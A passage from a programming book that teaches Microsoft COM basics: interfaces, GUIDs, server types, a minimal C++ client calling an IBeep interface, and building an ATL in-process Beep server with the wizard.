object, you are very concerned about how the interface works. The user of the interface, how- ever, shouldn't be concerned about its implementation. Like the brakes on a car, the user cares only that the interface works, not about the details behind the interface. This isolation of interface and implementation is crucial for COM. By isolating the interface from its implementation, we can build components. Components can be replaced and re-used. This both simplifies and multiplies the usefulness of the object. What's in a Name? One important fact to recognize is that a named COM interface is unique. That is, a programmer is allowed to make an assumption in COM that if he accesses an interface of a specific name, the member functions and parameters of that interface will be exactly the same in all COM objects that implement the interface. So, following our example, the interfaces named "driving" and "radio" will have exactly the same member function signature in any COM object that implements them. If you want to change the member functions of an interface in any way, you have to create a new interface with a new name. The Source of All Interfaces - IUnknown Traditional explanations of COM start out with a thorough description of the IUnknown interface. IUnknown is the funda- mental basis for all COM interfaces. Despite its importance, you don't need to know about IUnknown to understand the interface concept. The implementation of IUnknown is hidden by the higher level abstractions we'll be using to build our COM objects. Actually, paying too much attention to IUnknown can be confus- ing. Let's deal with it at a high level here so you understand the concepts. IUnknown is like an abstract base class in C++. All COM interfaces must inherit from IUnknown. IUnknown handles the creation and management of the interface. The methods of IUn- known are used to create, reference count, and release a COM A Typical COM Object 11 Additonal Information and Updates: http://www.iftech.com/dcom object. All COM interfaces implement these 3 methods and they are used internally by COM to manage interfaces. A Typical COM Object Now let's put all of these new concepts together and describe a typical COM object and a program that wants to access it. In the next section and the following chapters we will make this real by implementing the actual code for the object. Imagine that you want to create the simplest possible COM object. This object will support a single interface, and that inter- face will contain a single function. The purpose of the function is also extremely simple - it beeps. When a programmer creates this COM object and calls the member function in the single interface the object supports, the machine on which the COM object exists will beep. Let's further imagine that you want to run this COM object on one machine, but call it from another over the network. Here are the things you need to do to create this simple COM object: • You need to create the COM object and give it a name. This object will be implemented inside a COM server that is aware of this object. • You need to define the interface and give it a name. • You need to define the function in the interface and give it a name. • You'll need to install the COM server. For this example, let's call the COM object Beeper, the inter- face IBeep and the function Beep. One problem you immedi- ately run into in naming these objects is the fact that all machines in the COM universe are allowed to support multiple COM serv- ers, each containing one or more COM objects, with each COM object implementing one or more interfaces. These servers are created by a variety of programmers, and there is nothing to stop the programmers from choosing identical names. In the same way, COM objects are exposing one or more named interfaces, 12 Chapter 1 • The Basics of COM again created by multiple programmers who could randomly choose identical names. Something must be done to prevent name collision, or things could get very confusing. The concept of a GUID, or a Globally Unique IDentifier, solves the "how do we keep all of these names unique" problem. How to Be Unique - the GUID There are really only two definitive ways to ensure that a name is unique: 1. You register the names with some quasi-governmental orga- nization. 2. You use a special algorithm that generates unique numbers that are guaranteed to be unique world-wide (no small task). The first approach is how domain names are managed on the network. This approach has the problem that you must pay $50 to register a new name and it takes several days for registra- tion to take effect. The second approach is far cleaner for developers. If you can invent an algorithm that is guaranteed to create a unique name each time anyone on the planet calls it, the problem is solved. Actually, this problem was originally addressed by the Open Software Foundation (OSF). OSF came up with an algo- rithm that combines a network address, the time (in 100 nano- second increments), and a counter. The result is a 128-bit number that is unique. The number 2 raised to the 128 power is an extremely large number. You could identify each nanosecond since the begin- ning of the universe - and still have 39 bits left over. OSF called this the UUID, for Universally Unique Identifier. Microsoft uses this same algorithm for the COM naming standard. In COM Microsoft decided to re-christen it as a Globally Unique Identi- fier: GUID. The convention for writing GUID's is in hexadecimal. Case isn't important. A typical GUID looks like this: How to Be Unique - the GUID 13 Additonal Information and Updates: http://www.iftech.com/dcom "50709330-F93A-11D0-BCE4-204C4F4F5020" Since there is no standard 128-bit data type in C++, we use a structure. Although the GUID structure consists of four different fields, you'll probably never need to manipulate its members. The structure is always used in its entirety. typedef struct _GUID { unsigned long Data1; unsigned short Data2; unsigned short Data3; unsigned char Data4[8]; } GUID; The common pronunciation of GUID is "gwid", so it sounds like ‘squid’. Some people prefer the more awkward pronuncia- tion of "goo-wid" (sounds like ‘druid’). GUIDs are generated by a program called GUIDGEN. In GUIDGEN you push a button to generate a new GUID. You are guaranteed that each GUID you generate will be unique, no mat- ter how many GUIDs you generate, and how many people on the planet generate them. This can work because of the follow- ing assumption: all machines on the Internet have, by definition, a unique IP address. Therefore, your machine must be on the network in order for GUIDGEN to work to its full potential. Actually, if you don't have a network address GUIDGEN will fake one, but you reduce the probability of uniqueness. Both COM objects and COM interfaces have GUIDs to iden- tify them. So the name "Beeper" that we choose for our object would actually be irrelevant. The object is named by its GUID. We call the object's GUID the class ID for the object. We could then use a #define or a const to relate the name “Beeper” to the GUID so that we don't have 128-bit values floating throughout the code. In the same way the interface would have a GUID. Note that many different COM objects created by many different programmers might support the same IBeep interface, and they would all use the same GUID to name it. If it is not the same 14 Chapter 1 • The Basics of COM GUID, then as far as COM is concerned it is a different interface. The GUID is the name. A COM Server The COM server is the program that implements COM interfaces and classes. COM Servers come in three basic configurations. • In-process, or DLL servers • Stand-alone EXE servers • Windows NT based services. COM objects are the same regardless of the type of server. The COM interfaces and coclasses don't care what type of server is being used. To the client program, the type of server is almost entirely transparent. Writing the actual server however, can be significantly different for each configuration: • In-Process servers are implemented as Dynamic Link Libraries (DLL's). This means that the server is dynami- cally loaded into your process at run-time. The COM server becomes part of your application, and COM opera- tions are performed within application threads. Tradition- ally this is how many COM objects have been implemented because performance is fantastic - there is minimal overhead for a COM function call but you get all of the design and reuse advantages of COM. COM auto- matically handles the loading and unloading of the DLL. • An out-of-process server has a more clear-cut distinction between the client and server. This type of server runs as a separate executable (EXE) program, and therefore in a private process space. The starting and stopping of the EXE server is handled by the Windows Service Control Manager (SCM). Calls to COM interfaces are handled through inter-process communication mechanisms. The server can be running on the local computer or on a remote computer. If the COM server is on a remote com- puter, we refer to it as "Distributed COM", or DCOM. Interactions Between Client and Server 15 Additonal Information and Updates: http://www.iftech.com/dcom • Windows NT offers the concept of a service. A service is a program that is automatically managed by Windows NT, and is not associated with the desktop user. This means services can start automatically at boot time and can run even if nobody is logged on to Windows NT. Services offer an excellent way to run COM server applications. • There is a fourth type of server, called a "surrogate". This is essentially a program that allows an in-process server to run remotely. Surrogates are useful when making a DLL- based COM server available over the network. Interactions Between Client and Server In COM, the client program drives everything. Servers are entirely passive, only responding to requests. This means COM servers behave in a synchronous manner toward individual method calls from the client. • The client program starts the server. • The client requests COM objects and interfaces. • The client originates all method calls to the server. • The client releases server interfaces, allowing the server to shut down. This distinction is important. There are ways to simulate calls going from server to client, but they are odd to implement and fairly complex (They are called callbacks and are discussed later). In general, the server does nothing without a client request. Table 1.3 is a typical interaction between a COM client and server. In COM you must take a client-centric approach. 16 Chapter 1 • The Basics of COM Summary We've tried to look at COM from several points of view. C++ is the native language of COM, but it's important to see beyond the similarities. COM has many analogues in C++, but it has impor- tant differences. COM offers a whole new way of communicating between clients and servers. The interface is one of the most important COM concepts. All COM interactions go through interfaces, and they shape that interaction. Because interfaces don't have a direct C++ counter- part, they are sometimes difficult for people to grasp. We've also introduced the concept of the GUID. GUIDs are ubiquitous in COM, and offer a great way to identify entities on a large net- work. COM servers are merely the vehicles for delivering COM components. Everything is focused on the delivery of COM com- Client Request Server Response Requests access to a specific COM interface, specifying the COM class and interface (by GUID) • Starts the server (if required). If it is an In-Process server, the DLL will be loaded. Executable servers will be run by the SCM. • Creates the requested COM object. • Creates an interface to the COM object. • Increments the reference count of active interfaces. • Returns the interface to the client. Calls a method of the interface. Executes the method on a COM object. Release the interface • Decrements the interface’s reference count. • If the reference count is zero, it may delete the COM object. • If there are no more active connections, shut down the server. Some servers do not shut themselves down. Table 1.3 Interactions between a COM client and Server. Summary 17 Additonal Information and Updates: http://www.iftech.com/dcom ponents to a client application. In the following chapters, we'll create a simple client and server application to demonstrate these concepts. 18 Chapter 1 • The Basics of COM T W O 2 Understanding the Simplest COM Client The most straightforward way to begin understanding COM is to look at it from the perspective of a client application. Ultimately, the goal of COM programming is to make useful objects avail- able to client applications. Once you understand the client, then understanding servers becomes significantly easier. Keeping cli- ents and servers straight can be confusing, and COM tends to make the picture more complex when you are first learning the details. Therefore, let's start with the simplest definition: A COM cli- ent is a program that uses COM to call methods on a COM server. A straightforward example of this client/server relation- ship would be a User Interface application (the client) that calls methods on another application (the server). If the User Interface application calls those methods using COM, then the user inter- face application is, by definition, a COM client. We are belaboring this point for good reason - the distinc- tion between COM servers and clients can get (and often is) much more complex. Many times, the application client will be a COM server, and the application's server will be a COM client. It's quite common for an application to be both a COM client and server. In this chapter, we will keep the distinction as simple as possible and deal with a pure COM client. 20 Chapter 2 • Understanding the Simplest COM Client Four Steps to Client Connectivity A client programmer takes four basic steps when using COM to communicate with a server. Of course, real-life clients do many more things, but when you peel back the complexity, you'll always find these four steps at the core. In this section we will present COM at its lowest level - using simple C++ calls. Here is a summary of the steps we are going to perform: 1. Initialize the COM subsystem and close it when finished. 2. Query COM for a specific interfaces on a server. 3. Execute methods on the interface. 4. Release the interface. For the sake of this example, we will assume an extremely simple COM server. We'll assume the server has already been written and save its description for the next chapter. The server has one interface called IBeep. That interface has just one method, called Beep. Beep takes one parameter: a dura- tion. The goal in this section is to write the simplest COM client possible to attach to the server and call the Beep method. Following is the C++ code that implements these four steps. This is a real, working COM client application. #include "..\BeepServer\BeepServer.h" // GUIDS defined in the server const IID IID_IBeepObj = {0x89547ECD,0x36F1,0x11D2,{0x85,0xDA,0xD7,0x43,0xB2,0x 32,0x69,0x28}}; const CLSID CLSID_BeepObj = {0x89547ECE,0x36F1,0x11D2,{0x85,0xDA,0xD7,0x43,0xB2,0x 32,0x69,0x28}}; int main(int argc, char* argv[]) { HRESULT hr; // COM error code IBeepObj *IBeep; // pointer to interface hr = CoInitialize(0); // initialize COM Four Steps to Client Connectivity 21 Additonal Information and Updates: http://www.iftech.com/dcom if (SUCCEEDED(hr)) // macro to check for success { hr = CoCreateInstance( CLSID_BeepObj, // COM class id NULL, // outer unknown CLSCTX_INPROC_SERVER, // server INFO IID_IBeepObj, // interface id (void**)&IBeep ); // pointer to interface if (SUCCEEDED(hr)) { hr = IBeep->Beep(800); // call the method hr = IBeep->Release(); // release interface } } CoUninitialize(); // close COM return 0; } The header "BeepServer.h" is created when we compile the server. BeepServer is the in-process COM server we are going to write in the next chapter. Several header files are generated auto- matically by the compiler when compiling the server. This partic- ular header file defines the interface IBeepObj. Compilation of the server code also generates the GUIDs seen at the top of this program. We've just pasted them in here from the server project. Let's look at each of the 4 steps in detail. Initializing the COM Subsystem: This is the easy step. The COM method we need is CoInitialize(). CoInitialize(0); This function takes one parameter and that parameter is always a zero - a legacy from its origins in OLE. The CoInitialize function initializes the COM library. You need to call this func- tion before you do anything else. When we get into more sophisticated applications, we will be using the extended ver- sion, CoInitializeEx. 22 Chapter 2 • Understanding the Simplest COM Client Call CoUninitialize() when you're completely finished with COM. This function de-allocates the COM library. I often include these calls in the InitInstance() and ExitInstance() functions of my MFC applications. Most COM functions return an error code called an HRESULT. This error value contains several fields which define the severity, facility, and type of error. We use the SUCCEEDED macro because there are several different success codes that COM can return. It's not safe to just check for the normal success code (S_OK). We will discuss HRESULT's later in some detail. Query COM for a Specific Interface What a COM client is looking for are useful functions that it can call to accomplish its goals. In COM you access a set of useful functions through an interface. An interface, in its simplest form, is nothing but a collection of one or more related functions. When we “get” an interface from a COM server, we're really get- ting a pointer to a set of functions. You can obtain an interface pointer by using the CoCre- ateInstance() function. This is an extremely powerful function that interacts with the COM subsystem to do the following: • Locate the server. • Start, load, or connect to the server. • Create a COM object on the server. • Return a pointer to an interface to the COM object. There are two data types important to finding and accessing interfaces: CLSID and IID. Both of these types are Globally Unique ID's (GUID's). GUID's are used to uniquely identify all COM classes and interfaces. In order to get a specific class and interface you need its GUID. There are many ways to get a GUID. Commonly we'll get the CLSID and IID from the header files in the server. In our example, we've defined the GUIDs with #define statements at the beginning of the source code simply to make them explicit and obvious. There are also facilities to look up GUIDs using the common name of the interface. Four Steps to Client Connectivity 23 Additonal Information and Updates: http://www.iftech.com/dcom The function that gives us an interface pointer is CoCre- ateInstance. hr = CoCreateInstance( CLSID_BeepObj, // COM class id NULL, // outer unknown CLSCTX_INPROC_SERVER, // server INFO IID_IBeepObj, // interface id (void**)&IBeep ); // pointer to interface The first parameter is a GUID that uniquely specifies a COM class that the client wants to use. This GUID is the COM class identifier, or CLSID. Every COM class on the planet has its own unique CLSID. COM will use this ID to automatically locate a server that can create the requested COM object. Once the server is connected, it will create the object. The second parameter is a pointer to what's called the “outer unknown”. We're not using this parameter, so we pass in a NULL. The outer unknown will be important when we explore the concept known as "aggregation". Aggregation allows one interface to directly call another COM interface without the client knowing it's happening. Aggregation and containment are two methods used by interfaces to call other interfaces. The third parameter defines the COM Class Context, or CLSCTX. This parameter controls the scope of the server. Depending on the value here, we control whether the server will be an In-Process Server, an EXE, or on a remote computer. The CLSCTX is a bit-mask, so you can combine several values. We're using CLSCTX_INPROC_SERVER - the server will run on our local computer and connect to the client as a DLL. We've chosen an In-Process server in this example because it is the easiest to implement. Normally the client wouldn’t care about how the server was implemented. In this case it would use the value CLSCTX_SERVER, which will use either a local or in-process server, whichever is available. Next is the interface identifier, or IID. This is another GUID - this time identifying the interface we're requesting. The IID we 24 Chapter 2 • Understanding the Simplest COM Client request must be one supported by the COM class specified with the CLSID. Again, the value of the IID is usually provided either by a header file, or by looking it up using the interface name. In our code it is defined explicitly to make it obvious. The last parameter is a pointer to an interface. CoCreateIn- stance() will create the requested class object and interface, and return a pointer to the interface. This parameter is the whole rea- son for the CoCreateInstance call. We can then use the interface pointer to call methods on the server. Execute a Method on the Interface. CoCreateInstance() uses COM to create a pointer to the IBeep interface. We can pretend the interface is a pointer to a normal C++ class, but in reality it isn’t. Actually, the interface pointer points to a structure called a VTABLE, which is a table of func- tion addresses. We can use the -> operator to access the interface pointer. Because our example uses an In-Process server, it will load into our process as a DLL. Regardless of the details of the inter- face object, the whole purpose of getting this interface was to call a method on the server. hr = IBeep->Beep(800); Beep() executes on the server - it will cause the computer to beep. If we had a remote server, one which is running on another computer, that computer would beep. Methods of an interface usually have parameters. These parameters must be of one of the types allowed by COM. There are many rules that control the parameters allowed for an inter- face. We will discuss these in detail in the section on MIDL, which is COM’s interface definition tool. Release the Interface It’s an axiom of C++ programming that everything that gets allo- cated should be de-allocated. Because we didn't create the inter- face with new, we can’t remove it with delete. All COM Summary 25 Additonal Information and Updates: http://www.iftech.com/dcom interfaces have a method called Release() which disconnects the object and deletes it. Releasing an interface is important because it allows the server to clean up. If you create an interface with CoCreateInstance, you'll need to call Release(). Summary In this chapter we've looked at the simplest COM client. COM is a client driven system. Everything is oriented to making compo- nent objects easily available to the client. You should be impressed at the simplicity of the client program. The four steps defined here allow you to use a huge number of components, in a wide range of applications. Some of the steps, such as CoInitialize() and CoUninitial- ize() are elementary. Some of the other steps don't make a lot of sense at first glance. It is only important for you to understand, at a high level, all of the things that are going on in this code. The details will clarify themselves as we go through further exam- ples. Visual C++ Version 5 and 6 simplify the client program fur- ther by using “smart pointers” and the #import directive. We’ve presented this example in a low level C++ format to better illus- trate the concepts. We'll discuss smart pointers and imports in chapter 15. In the next chapter, we'll build a simple in-process server to manage the IBeep interface. We’ll get into the interesting details of interfaces and activation in later chapters. See also Chapter 4 for an expansion on this example. 26 Chapter 2 • Understanding the Simplest COM Client T H R E E 3 Understanding a Simple COM Server So far we've looked at how to use COM through a client applica- tion. To the client, the mechanics of COM programming are pretty simple. The client application asks the COM subsystem for a particular component, and it is magically delivered. There’s a lot of code required to make all this behind-the- scenes component management work. The actual implementa- tion of the object requires a complex choreography of system components and standardized application modules. Even using MFC the task is complex. Most professional developers don't have the time to slog through this process. As soon as the COM standard was published, it was quickly clear that it wasn't practi- cal for developers to write this code themselves. When you look at the actual code required to implement COM, you realize that most of it is repetitive boilerplate. The tra- ditional C++ approach to this type of complexity problem would be to create a COM class library. And in fact, the MFC OLE classes provide most of COMs features. There are however, several reasons why MFC and OLE were not a good choice for COM components. With the introduction of ActiveX and Microsoft's Internet strategy, it was important for COM objects to be very compact and fast. ActiveX requires that COM objects be copied across the network fairly quickly. If 28 Chapter 3 • Understanding a Simple COM Server you’ve worked much with MFC you'll know it is anything but compact (especially when statically linked). It just isn’t practical to transmit huge MFC objects across a network. Perhaps the biggest problem with the MFC/OLE approach to COM components is the complexity. OLE programming is diffi- cult, and most programmers never get very far with it. The huge number of books about OLE is a testament to the fact that it is hard to use. Because of the pain associated with OLE development, Microsoft created a new tool called ATL (Active Template Library). For COM programming, ATL is definitely the most prac- tical tool to use at the present time. In fact, using the ATL wizard makes writing COM servers quite easy if you don't have any interest in looking under the hood. The examples here are built around ATL and the ATL Appli- cation Wizard. This chapter describes how to build an ATL-based server and gives a summary of the code that the wizard gener- ates. Where's the Code? One of the things that takes some getting used to when writing ATL servers is that they don't look like traditional programs. A COM server written by ATL is really a collaboration between sev- eral disparate components: • Your application • The COM subsystem • ATL template classes • “IDL” code and MIDL Generated “C” headers and pro- grams • The system registry It can be difficult to look at an ATL-based COM application and see it as a unified whole. Even when you know what it’s doing, there are still big chunks of the application that you can’t see. Most of the real server logic is hidden deep within the ATL header files. You won’t find a single main() function that man- Building a DLL-Based (In-Process) COM Server 29 Additonal Information and Updates: http://www.iftech.com/dcom ages and controls the server. What you will find is a thin shell that makes calls to standard ATL objects. In the following section we’re going to put together all the pieces required to get the server running. First we will create the server using the ATL COM AppWizard. The second step will be to add a COM object and a Method. We’ll write an In-Process server because it’s one of the simpler COM servers to implement. Our apartment-threaded in-process server also avoids having to build a proxy and stub object. Building a DLL-Based (In-Process) COM Server An In-Process server is a COM library that gets loaded into your program at run-time. In other words, it’s a COM object in a Dynamic Link Library (DLL). A DLL isn't really a server in the tra- ditional sense, because it loads directly into the client's address space. If you're familiar with DLLs, you already know a lot about how the COM object gets loaded and mapped into the calling program. Normally a DLL is loaded when LoadLibrary() is called. In COM, you never explicitly call LoadLibrary(). Everything starts automatically when the client program calls CoCreateInstance(). One of the parameters to CoCreateInstance is the GUID of the COM class you want. When the server gets created at compile time, it registers all the COM objects it supports. When the client needs the object, COM locates the server DLL and automatically loads it. Once loaded, the DLL has a class factory to create the COM object. CoCreateInstance() returns a pointer to the COM object, which is in turn used to call a method (in the example described here, the method is called Beep().) A nice feature of COM is that the DLL can be automatically unloaded when it's not needed. After the object is released and CoUninitialize() is called, FreeLi- brary() will be called to unload the server DLL. If you didn't follow all that, it's easier than it sounds. You don't have to know anything about DLL's to use COM. All you have to do is call CoCreateInstance(). One of the advatages of 30 Chapter 3 • Understanding a Simple COM Server COM is that it hides these details so you don't have to worry about this type of issue. There are advantages and disadvantages to In-process COM servers. If dynamic linking is an important part of your system design, you'll find that COM offers an excellent way to manage DLL's. Some experienced programmers write all their DLL's as In- process COM servers. COM handles all the chores involved with the loading, unloading, and exporting DLL functions and COM function calls have very little additional overhead. Our main reason for selecting an In-process server is some- what more prosaic: It makes the example simpler. We won't have to worry about starting remote servers (EXE or service) because our server is automatically loaded when needed. We also avoid building a proxy/stub DLL to do the marshaling. Unfortunately, because the In-Process server is so tightly bound to our client, a number of the important "distributed" aspects of COM are not going to be exposed. A DLL server shares memory with it's client, whereas a distributed server would be much more removed from the client. The process of passing data between a distributed client and server is called marshaling. Marshaling imposes important limitations on COM's capabilities that we won't have to worry about with an apart- ment-threaded in-proc server. We will expose and study these details in later chapters. Creating the Server Using the ATL Wizard We're going to create a very simple COM server in this example in order to eliminate clutter and help you to understand the fun- damental principles behind COM very quickly. The server will only have one method - Beep(). All that this method will do is sound a single beep; not a very useful method. What we're really going to accomplish is to set up all the parts of a working server. Once the infrastructure is in place, adding methods to do some- thing useful will be extremely straightforward. The ATL AppWizard is an easy way to quickly generate a working COM server. The Wizard will allow us to select all the Creating the Server Using the ATL Wizard 31 Additonal Information and Updates: http://www.iftech.com/dcom basic options, and will generate most of the code we need. Below is the step-by step process for creating the server. In this process we will call the server BeepServer. All COM servers must have at least one interface, and our interface will be called IBee- pObj. You can name your COM interfaces almost anything you want, but you should always prefix them with an 'I' if you want to follow standard naming conventions. NOTE: If you find the difference between a COM "Object" , "Class", and "Interface" confusing at this point, you're not alone. The terminology can be uncomfortable initially, especially for C++ programmers. The feelings of confusion will subside as you work through examples. The word "coclass" for COM class is used in most Microsoft documentation to distinguish a COM class from a normal C++ class. Here are the steps for creating a new COM server with the ATL Wizard using Visual C++ version 6 (it looks nearly identical in version 5 as well): 1. First, create a new "ATL COM AppWizard" project. Select File/New from the main menu. 2. Select the "Projects" tab of the "New" dialog. Choose "ATL COM AppWizard" from the list of project types. Select the following options and press OK. a. Project Name: BeepServer b. Create New Workspace c. Location: Your working directory. 3. At the first AppWizard dialog we'll create a DLL based (In- process) server. Enter the following settings : a. Dynamic Link Library b. Don't allow merging proxy/stub code c. Don't support MFC 4. Press Finish. 32 Chapter 3 • Understanding a Simple COM Server Figure 3–1 Accessing the ATL Wizard Figure 3–2 Creating a DLL server Adding a COM Object 33 Additonal Information and Updates: http://www.iftech.com/dcom The AppWizard creates a project with all the necessary files for a DLL-based COM server. Although this server will compile and run, it's just an empty shell. For it to be useful it will need a COM interface and the class to support the interface. We'll also have to write the methods in the interface. Adding a COM Object Now we'll proceed with the definition of the COM object, the interface, and the methods. This class is named BeepObj and has an interface called IBeepObj: 1. Look at the "Class View" tab. Initially it only has a single item in the list. Right click on "BeepServer Classes" item. 2. Select "New ATL ObjectÖ". This step can also be done from the main menu. Select the "New ATL Object" on the Insert menu item. 3. At the Object Wizard dialog select "Objects". Choose "Simple Object" and press Next. 4. Choose the Names tab. Enter short name for the object: Bee- pObj. All the other selections are filled in automatically with standard names. 5. Press the "Attributes" tab and select: Apartment Threading, Custom Interface, No Aggregation. 6. Press OK. This will create the COM Object. 34 Chapter 3 • Understanding a Simple COM Server Figure 3–3 Adding a new object to the server Figure 3–4 Adding a new object Adding a COM Object 35 Additonal Information and Updates: http://www.iftech.com/dcom Figure 3–5 Specifying the object naming Figure 3–6 Specifying the threading model and other parameters 36 Chapter 3 • Understanding a Simple COM Server Adding a Method to the Server We have now created an empty COM object. As of yet, it's still a useless object because it doesn't do anything. We will create a simple method called Beep() which causes the system to beep once. Our COM method will call the Win32 API function ::Beep(), which does pretty much what you would expect. 1. Go to "Class View" tab. Select the IBeepObj interface. This interface is represented by a small icon that resembles a spoon. 2. Right click the IBeepObj interface. Select "Add Method" from the menu. 3. At the "Add Method to Interface" dialog, enter the following and press OK. Add the method "Beep" and give it a single [in] parameter for the duration. This will be the length of the beep, in milliseconds. Figure 3–7 Adding a methos Adding a Method to the Server 37 Additonal Information and Updates: http://www.iftech.com/dcom 4. "Add Method" has created the MIDL definition of the method we defined. This definition is written in IDL, and describes the method to the MIDL compiler. If you want to see the IDL code, double click the "IBeepObj" interface at the "Class View" tab. This will open and display the file BeepServer.IDL. No changes are necessary to this file, but here's what our interface definition should look like. interface IBeepObj : IUnknown { [helpstring("method Beep")] HRESULT Beep([in] LONG duration); }; The syntax of IDL is quite similar to C++. This line is the equivalent to a C++ function prototype. We will cover the syntax of IDL in Chapter 7. 5. Now we're going to write the C++ code for the method. The AppWizard has already written the empty shell of our C++ Figure 3–8 Specifying the method’s name and parameters 38 Chapter 3 • Understanding a Simple COM Server function, and has added it to the class definition in the header file (BeepServer.H). Open the source file BeepObj.CPP. Find the //TODO: line and add the call to the API Beep function. Modify the Beep() method as follows: STDMETHODIMP CBeepObj::Beep(LONG duration) { // TODO: Add your implementation code here ::Beep( 550, duration ); return S_OK; } 6. Save the files and build the project. We now have a complete COM server. When the project fin- ishes building, you should see the following messages: ----Configuration: BeepServer - Win32 Debug---- Creating Type Library... Microsoft (R) MIDL Compiler Version 5.01.0158 Copyright (c) Microsoft Corp 1991-1997. All rights reserved. Processing D:\UnderCOM\BeepServer\BeepServer.idl BeepServer.idl Processing C:\Program Files\Microsoft Visual Stu- dio\VC98\INCLUDE\oaidl.idloaidl.idl . . Compiling resources... Compiling... StdAfx.cppCompiling... BeepServer.cpp BeepObj.cpp Generating Code... Linking... Creating library Debug/BeepServer.lib and object Debug/BeepServer.exp Performing registration Adding a Method to the Server 39 Additonal Information and Updates: http://www.iftech.com/dcom BeepServer.dll - 0 error(s), 0 warning(s) This means that the Developer Studio has completed the fol- lowing steps: • Executed the MIDL compiler to generate code and type libraries • Compiled the source files • Linked the project to create BeepServer.DLL • Registered COM components • Registered the DLL with RegSvr32 so it will automatically load when needed. Let's look at the project that we've created. While we've been clicking buttons, the ATL AppWizard has been generating files. If you look at the "FileView" tab, the following files have been created: Source File Description BeepServer.dsw Project workspace BeepServer.dsp Project File BeepServer.plg Project log file. Contains detailed error information about project build. BeepServer.cpp DLL Main routines. Implementation of DLL Exports BeepServer.h MIDL generated file containing the definitions for the interfaces BeepServer.def Declares the standard DLL module parameters: DllCa- nUnloadNow, DllGetClassObject, DllUnregisterServer BeepServer.idl IDL source for BeepServer.dll. The IDL files define all the COM components. BeepServer.rc Resource file. The main resource here is IDR_BEEPDLLOBJ which defines the registry scripts used to load COM information into the registry. Resource.h Microsoft Developer Studio generated include file. StdAfx.cpp Source for precompiled header. Stdafx.h Standard header 40 Chapter 3 • Understanding a Simple COM Server In just a few minutes, we have created a complete COM server application. Back in the days before wizards, writing a server would have taken hours. Of course the down-side of wiz- ards is that we now have a large block of code that we don't fully understand. In Chapter 5 we will look at the generated modules in detail, and then as a whole working application. Running the Client and the Server Now that we have compiled the server and we have a working client (from the previous chapter), we can run the two of them together. In theory, all that you have to do is run the client. Because the server DLL was automatically registered in the regis- try as part of the build process, the client will automatically find and load the server and then call its Beep method. You will hear the appropriate “beep” sound. If there is a problem you will get no textual complaint from the client (as it contains no error checking code - see the next chapter to correct that problem...) but it will not beep. BeepServer.tlb Type Library generated by MIDL. This file is a binary description of COM interfaces and objects. The TypeLib is very useful as an alternative method of connecting a client. BeepObj.cpp Implementation of CBeepObj. This file contains all the actual C++ code for the methods in the COM BeepObj object. BeepObj.h Definition of BeepObj COM object. BeepObj.rgs Registry script used to register COM components in registry. Registration is automatic when the server project is built. BeepServer_i.c Contains the actual definitions of the IID's and CLSID's. This file is often included in cpp code. There are several other proxy/stub files that are gener- ated by MIDL. Table 3.1 All the files created by the ATL wizard Summary 41 Additonal Information and Updates: http://www.iftech.com/dcom If you had trouble building the client or the server (that is, if any errors or warnings were generated during the build or link process), one thing to check is to make sure that both the client and server are being built as normal Win32 Debug configura- tions. Sometimes the system will default to odd Unicode release builds. In the Build menu you can check and change the active configuration to “Win32 Debug”. If both client and server build fine but the client does not beep, that means that either the client could not find or could not start the server. Assuming that you built the server as described above and there were no errors, we know it exists. The problem almost certainly is occuring because the GUIDs do not match between the client and the server. Recall that we used statically declared GUIDS in the client in Chapter 2 to make the GUIDs more obvious. That works fine if you are pulling the code off the CD, but will be a problem if you generated the server with the ATL wizard yourself. To solve this problem, look for the “_i.c” file that MIDL generated in the server directory. In that file is an IID GUID and a CLSID GUID. Copy them into the appropri- ate spot in the client application, rebuild and try again. You should hear the appropriate beep when the client executes. Now that you can see where the GUIDs are coming from, you may want to modify the client so it #includes the “_i.c” file and use the GUIDs directly from there. Summary The server code was almost entirely generated by the ATL wiz- ards. It provides a working implementation of the server. We examined a DLL based server, but the process is almost identical for all server types. This framework is an excellent way to quickly develop a server application because you don't have to know the myriad of details required to make it work. 42 Chapter 3 • Understanding a Simple COM Server F O U R 4 Creating your own COM Clients and Servers Based on the previous three chapters, you can see that it is extremely easy to create COM clients and servers. In fact, you were probably stunned by how little code was actually required. Just a handful of lines on both the client and server sides yields a complete COM application. You can now see why many devel- opers use COM whenever they want to create a DLL - it only takes about 2 minutes to set up an in-proc COM DLL with the ATL wizard and get it working. The purpose of this chapter is to review the steps you need to take to create your own COM servers and use them in real applications you create. As you will recall, the client code previ- ously presented was a bit sparse. We will expand on it a bit, look at the code you need to embed in any client to activate the server properly, and then look at an MFC application that lets you try out some of the error modes that a COM client may typi- cally encounter. Server Side As we saw in Chapter 3, the ATL Wizard makes COM server cre- ation extremely easy. The first step to creating any COM server, 44 Chapter 4 • Creating your own COM Clients and Servers however, relies solely on you. You need to select one or more pieces of functionality that you want to separate from the main body of an application's code. You often want to separate the functionality in order to make it reusable across multiple applica- tions. But you may also want to do it because it allows a team of programmers to divide easily into separate working groups, or because it makes code development or maintenance easier. Whatever the reason, defining the functionality for the COM server is the first step. One thing that makes defining the boundary easy is the fact that, in the simplest case, a COM server can act almost identically to a normal C++ class. Like a class, you instantiate a COM class and then start calling its methods. The syntax of COM instantia- tion and method calling is slightly different from the syntax in C++, but the ideas are identical. If a COM server has only one interface, then it is, for all practical purposes, a class. You still have to obey the rules of COM when accessing the object, but the concepts are the same. Once you have decided on the functionality and the meth- ods that will be used to access that functionality, you are ready to build your server. As we in Chapter 3, there are 4 basic steps you must take to create a server: 1. Use the ATL Wizard to create the shell for your COM server. You choose whether you want the server to be a DLL, an EXE or a server. 2. Create a new COM object inside the server shell with the ATL object wizard. You will choose the threading model. This creates the interface into which you can install your methods. 3. Add the methods to your object and declare their parame- ters. 4. Write the code for your methods. Each of these tasks has been described in detail in the previous chapter. Once you have completed these steps you are ready to compile your COM object and use it. After reading the previous chapter, one question frequently asked concerns threading models. Specifically, what is the differ- Client Side 45 Additonal Information and Updates: http://www.iftech.com/dcom ence between apartment-threaded and free-threaded COM objects? Chapter 10 contains a complete description, but the eas- iest way to understand the difference is to think of apartment- threaded COM objects as single-threaded, while free-threaded COM objects as multi-threaded. In apartment threading, method calls from multiple clients are serialized in the COM object on the server. That is, each indi- vidual method call completes its execution before the next method call can begin. Apartment-threaded COM objects are therefore inherently thread safe. Free threaded COM objects can have multiple method calls executing in the COM object at the same time. Each method call from each client runs on a different thread. In a free-threaded COM object you therefore have to pay attention to multi-threading issues such as synchronization. Initially you will want to use apartment threading because it makes your life easier, but over time the move to free threading can sometimes make things more flexible, responsive and effi- cient. Client Side The client presented in chapter 2 has the benefits of clarity and compactness. However, it contains no error-checking code and that 